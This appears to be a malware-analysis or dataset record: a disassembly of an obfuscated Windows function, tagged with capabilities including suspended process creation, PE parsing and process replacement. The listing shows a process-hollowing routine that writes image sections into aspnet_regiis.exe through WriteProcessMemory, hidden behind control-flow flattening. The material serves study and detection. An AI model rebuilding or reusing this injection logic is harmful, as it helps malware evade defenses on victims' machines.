Function at 0x10002930
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10069200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x108], 0xf809dcaf
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x80d59dfa
je 0x100058ac
jmp 0x1000296c
mov eax, dword [ebp - 0x10c]
sub eax, 0x8242b191
je 0x10003761
jmp 0x10002982
mov eax, dword [ebp - 0x10c]
sub eax, 0x87a21672
je 0x10004b12
jmp 0x10002998
mov eax, dword [ebp - 0x10c]
sub eax, 0x880cad4f
je 0x1000538d
jmp 0x100029ae
mov eax, dword [ebp - 0x10c]
sub eax, 0x89163cce
je 0x1000561a
jmp 0x100029c4
mov eax, dword [ebp - 0x10c]
sub eax, 0x89e7aed0
je 0x1000368b
jmp 0x100029da
mov eax, dword [ebp - 0x10c]
sub eax, 0x8afb52e6
je 0x1000501a
jmp 0x100029f0
mov eax, dword [ebp - 0x10c]
sub eax, 0x8ccf246c
je 0x1000500b
jmp 0x10002a06
mov eax, dword [ebp - 0x10c]
sub eax, 0x9267cd28
je 0x100044b8
jmp 0x10002a1c
mov eax, dword [ebp - 0x10c]
sub eax, 0x947f9e53
je 0x10004d40
jmp 0x10002a32
mov eax, dword [ebp - 0x10c]
sub eax, 0x9715a94f
je 0x10004ef2
jmp 0x10002a48
mov eax, dword [ebp - 0x10c]
sub eax, 0x98a9dda2
je 0x100041a1
jmp 0x10002a5e
mov eax, dword [ebp - 0x10c]
sub eax, 0x9adb4807
je 0x100051aa
jmp 0x10002a74
mov eax, dword [ebp - 0x10c]
sub eax, 0x9c156c66
je 0x10004835
jmp 0x10002a8a
mov eax, dword [ebp - 0x10c]
sub eax, 0x9ef457ce
je 0x10004417
jmp 0x10002aa0
mov eax, dword [ebp - 0x10c]
sub eax, 0x9f7e4022
je 0x100037ba
jmp 0x10002ab6
mov eax, dword [ebp - 0x10c]
sub eax, 0xa088da47
je 0x1000427f
jmp 0x10002acc
mov eax, dword [ebp - 0x10c]
sub eax, 0xa4f09728
je 0x100040f7
jmp 0x10002ae2
mov eax, dword [ebp - 0x10c]
sub eax, 0xa7cd6f05
je 0x100048ba
jmp 0x10002af8
mov eax, dword [ebp - 0x10c]
sub eax, 0xa9193589
je 0x1000591d
jmp 0x10002b0e
mov eax, dword [ebp - 0x10c]
sub eax, 0xa999e7b4
je 0x10003ab3
jmp 0x10002b24
mov eax, dword [ebp - 0x10c]
sub eax, 0xad251e73
je 0x10005873
jmp 0x10002b3a
mov eax, dword [ebp - 0x10c]
sub eax, 0xae2dc367
je 0x10004081
jmp 0x10002b50
mov eax, dword [ebp - 0x10c]
sub eax, 0xaef46b18
je 0x100046ab
jmp 0x10002b66
mov eax, dword [ebp - 0x10c]
sub eax, 0xb358e529
je 0x10005932
jmp 0x10002b7c
mov eax, dword [ebp - 0x10c]
sub eax, 0xb8a12fb9
je 0x10003d60
jmp 0x10002b92
mov eax, dword [ebp - 0x10c]
sub eax, 0xb933369d
je 0x10004e67
jmp 0x10002ba8
mov eax, dword [ebp - 0x10c]
sub eax, 0xba71ab65
je 0x100043ef
jmp 0x10002bbe
mov eax, dword [ebp - 0x10c]
sub eax, 0xbc56a898
je 0x10004a2e
jmp 0x10002bd4
mov eax, dword [ebp - 0x10c]
sub eax, 0xbc9211e5
je 0x100045d2
jmp 0x10002bea
mov eax, dword [ebp - 0x10c]
sub eax, 0xbf0b86d5
je 0x1000539c
jmp 0x10002c00
mov eax, dword [ebp - 0x10c]
sub eax, 0xc211713f
je 0x10003bcc
jmp 0x10002c16
mov eax, dword [ebp - 0x10c]
sub eax, 0xc422f172
je 0x10003a96
jmp 0x10002c2c
mov eax, dword [ebp - 0x10c]
sub eax, 0xc49ca5d2
je 0x10004a1f
jmp 0x10002c42
mov eax, dword [ebp - 0x10c]
sub eax, 0xc6ccc6c9
je 0x10005702
jmp 0x10002c58
mov eax, dword [ebp - 0x10c]
sub eax, 0xcc639af8
je 0x10005134
jmp 0x10002c6e
mov eax, dword [ebp - 0x10c]
sub eax, 0xcd1ac243
je 0x10004f01
jmp 0x10002c84
mov eax, dword [ebp - 0x10c]
sub eax, 0xd0dd6edb
je 0x100042fe
jmp 0x10002c9a
mov eax, dword [ebp - 0x10c]
sub eax, 0xd5f28a6e
je 0x100055a4
jmp 0x10002cb0
mov eax, dword [ebp - 0x10c]
sub eax, 0xd858cf3c
je 0x100043e0
jmp 0x10002cc6
mov eax, dword [ebp - 0x10c]
sub eax, 0xd933bf90
je 0x10003db1
jmp 0x10002cdc
mov eax, dword [ebp - 0x10c]
sub eax, 0xdada497c
je 0x10003f10
jmp 0x10002cf2
mov eax, dword [ebp - 0x10c]
sub eax, 0xdb840e79
je 0x10005864
jmp 0x10002d08
mov eax, dword [ebp - 0x10c]
sub eax, 0xdc2eb4cc
je 0x10005168
jmp 0x10002d1e
mov eax, dword [ebp - 0x10c]
sub eax, 0xdcbd093d
je 0x10005888
jmp 0x10002d34
mov eax, dword [ebp - 0x10c]
sub eax, 0xddd9a5bd
je 0x1000458f
jmp 0x10002d4a
mov eax, dword [ebp - 0x10c]
sub eax, 0xdfd6a644
je 0x100044a9
jmp 0x10002d60
mov eax, dword [ebp - 0x10c]
sub eax, 0xdff4147f
je 0x10005897
jmp 0x10002d76
mov eax, dword [ebp - 0x10c]
sub eax, 0xe1e74169
je 0x100038b7
jmp 0x10002d8c
mov eax, dword [ebp - 0x10c]
sub eax, 0xe26e9f02
je 0x10005b3e
jmp 0x10002da2
mov eax, dword [ebp - 0x10c]
sub eax, 0xe4ed0215
je 0x10004c24
jmp 0x10002db8
mov eax, dword [ebp - 0x10c]
sub eax, 0xe777d188
je 0x10004460
jmp 0x10002dce
mov eax, dword [ebp - 0x10c]
sub eax, 0xe7d923c0
je 0x100042af
jmp 0x10002de4
mov eax, dword [ebp - 0x10c]
sub eax, 0xe852b966
je 0x10005a0c
jmp 0x10002dfa
mov eax, dword [ebp - 0x10c]
sub eax, 0xe9675bd2
je 0x1000463d
jmp 0x10002e10
mov eax, dword [ebp - 0x10c]
sub eax, 0xeb77d2eb
je 0x1000510d
jmp 0x10002e26
mov eax, dword [ebp - 0x10c]
sub eax, 0xef4af5b1
je 0x10005595
jmp 0x10002e3c
mov eax, dword [ebp - 0x10c]
sub eax, 0xef57feb2
je 0x10003701
jmp 0x10002e52
mov eax, dword [ebp - 0x10c]
sub eax, 0xf221bcd1
je 0x10004b03
jmp 0x10002e68
mov eax, dword [ebp - 0x10c]
sub eax, 0xf244bfde
je 0x10003eb8
jmp 0x10002e7e
mov eax, dword [ebp - 0x10c]
sub eax, 0xf46537f3
je 0x100059c9
jmp 0x10002e94
mov eax, dword [ebp - 0x10c]
sub eax, 0xf809dcaf
je 0x10003521
jmp 0x10002eaa
mov eax, dword [ebp - 0x10c]
sub eax, 0xfa694462
je 0x10005526
jmp 0x10002ec0
mov eax, dword [ebp - 0x10c]
sub eax, 0xfa89bdc9
je 0x10003fbf
jmp 0x10002ed6
mov eax, dword [ebp - 0x10c]
sub eax, 0xfae64477
je 0x10003973
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xf8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x108], 0x189fd9f5
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0xf1e51f2f
sub edx, 1
add edx, 0xf1e51f2f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x60bc1ae7
mov ecx, 0xef57feb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xa8]
add eax, 0x3c
mov dword [ebp - 0xa4], eax
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
add edx, 0x1a1da49d
sub edx, 1
sub edx, 0x1a1da49d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x60bc1ae7
mov ecx, 0x8242b191
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x44b0c5de
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
sub edx, 0xf4ba50b1
sub edx, 1
add edx, 0xf4ba50b1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1610fd4a
mov ecx, 0x8f52e62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
add edx, 0xb85854e2
sub edx, 1
sub edx, 0xb85854e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4ef51d50
mov ecx, 0x4f28fedc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xa999e7b4
jmp 0x10005b57
mov dword [ebp - 0x108], 0xfd5b9283
jmp 0x10005b57
mov dword [ebp - 0x108], 0x22f000d3
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
sub edx, 0x4360cd7d
sub edx, 1
add edx, 0x4360cd7d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfcf93075
mov ecx, 0xd933bf90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x94]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfcf93075
mov ecx, 0x3b977fdf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0xfc79cf0d
jmp 0x10005b57
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x104]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x8c], eax
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b3c9e18
mov ecx, 0xfa89bdc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x3d3bcaa
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
add edx, 0x13338bef
sub edx, 1
sub edx, 0x13338bef
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x207a2c51
mov ecx, 0xa4f09728
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x7d], al
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
add edx, 0x3bf7c6fb
sub edx, 1
sub edx, 0x3bf7c6fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x207a2c51
mov ecx, 0x4d289995
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc8]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x108], 0x63d8fb44
jmp 0x10005b57
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x108], 0xe7d923c0
jmp 0x10005b57
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
add esi, 0x16dcadee
add esi, eax
sub esi, 0x16dcadee
mov edx, dword [ebp - 0x74]
mov eax, 0x9ef457ce
mov ecx, 0xd0dd6edb
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
add edx, 0x9a716e55
sub edx, 1
sub edx, 0x9a716e55
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x46694cf1
mov ecx, 0x337244c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0xba71ab65
jmp 0x10005b57
mov eax, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x68]
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x9ef457ce
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb840e79
mov ecx, 0xe777d188
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb840e79
mov ecx, 0xdfd6a644
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x9267cd28
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad251e73
mov ecx, 0x7564c202
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x2fae0b62
jmp 0x10005b57
mov edx, dword [ebp - 0x58]
mov eax, 0x9adb4807
mov ecx, 0x796e84cf
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdcbd093d
mov ecx, 0xaef46b18
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
add edx, 0x561e8ea
sub edx, 1
sub edx, 0x561e8ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcbd093d
mov ecx, 0x38c6344a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0x435ba2ff
sub edx, 1
add edx, 0x435ba2ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x80d59dfa
mov ecx, 0xa7cd6f05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dl, byte [ebp - 0x45]
mov eax, 0x6405c47d
mov ecx, 0x62deda4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0xbc56a898
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
add edx, 0x3042d577
sub edx, 1
sub edx, 0x3042d577
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34587244
mov ecx, 0x68834931
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x87a21672
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0x62ac73c4
sub edx, 1
add edx, 0x62ac73c4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa9193589
mov ecx, 0x298aa739
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x108], 0x35ee73e2
jmp 0x10005b57
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xb0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb358e529
mov ecx, 0x6e0e0d6d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
sub ecx, 0x487ce579
add ecx, eax
add ecx, 0x487ce579
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x28], eax
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
sub edx, 0x247e4460
sub edx, 1
add edx, 0x247e4460
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72c48294
mov ecx, 0x9715a94f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0xcd1ac243
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0x5976c5dc
sub edx, 1
add edx, 0x5976c5dc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf46537f3
mov ecx, 0x3fad8f09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0x8afb52e6
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0xe4bded69
sub edx, 1
add edx, 0xe4bded69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe852b966
mov ecx, 0x653f0d19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
add eax, 0x84462965
add eax, 1
sub eax, 0x84462965
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x108], 0xcc639af8
jmp 0x10005b57
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xbc56a898
jmp 0x10005b57
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x20]
add ecx, 0xb0ca14d6
add ecx, eax
sub ecx, 0xb0ca14d6
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x42e113e2
jmp 0x10005b57
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov eax, dword [eax + 0xa4]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x108], 0x393bc606
jmp 0x10005b57
mov dword [ebp - 0x108], 0xbf0b86d5
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x71030459
mov ecx, 0x1c916e22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov eax, dword [0x1006a538]
mov ecx, dword [0x1006a534]
mov edx, eax
add edx, 0xe2c525b6
sub edx, 1
sub edx, 0xe2c525b6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe26e9f02
mov ecx, 0x3a6d55c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x10005b57
mov dword [ebp - 0x108], 0xd5f28a6e
jmp 0x10005b57
mov ecx, dword [0x1006a538]
mov eax, dword [0x1006a534]
mov edx, ecx
sub edx, 0x2070e406
sub edx, 1
add edx, 0x2070e406
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x62e769e4
mov ecx, 0x89163cce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
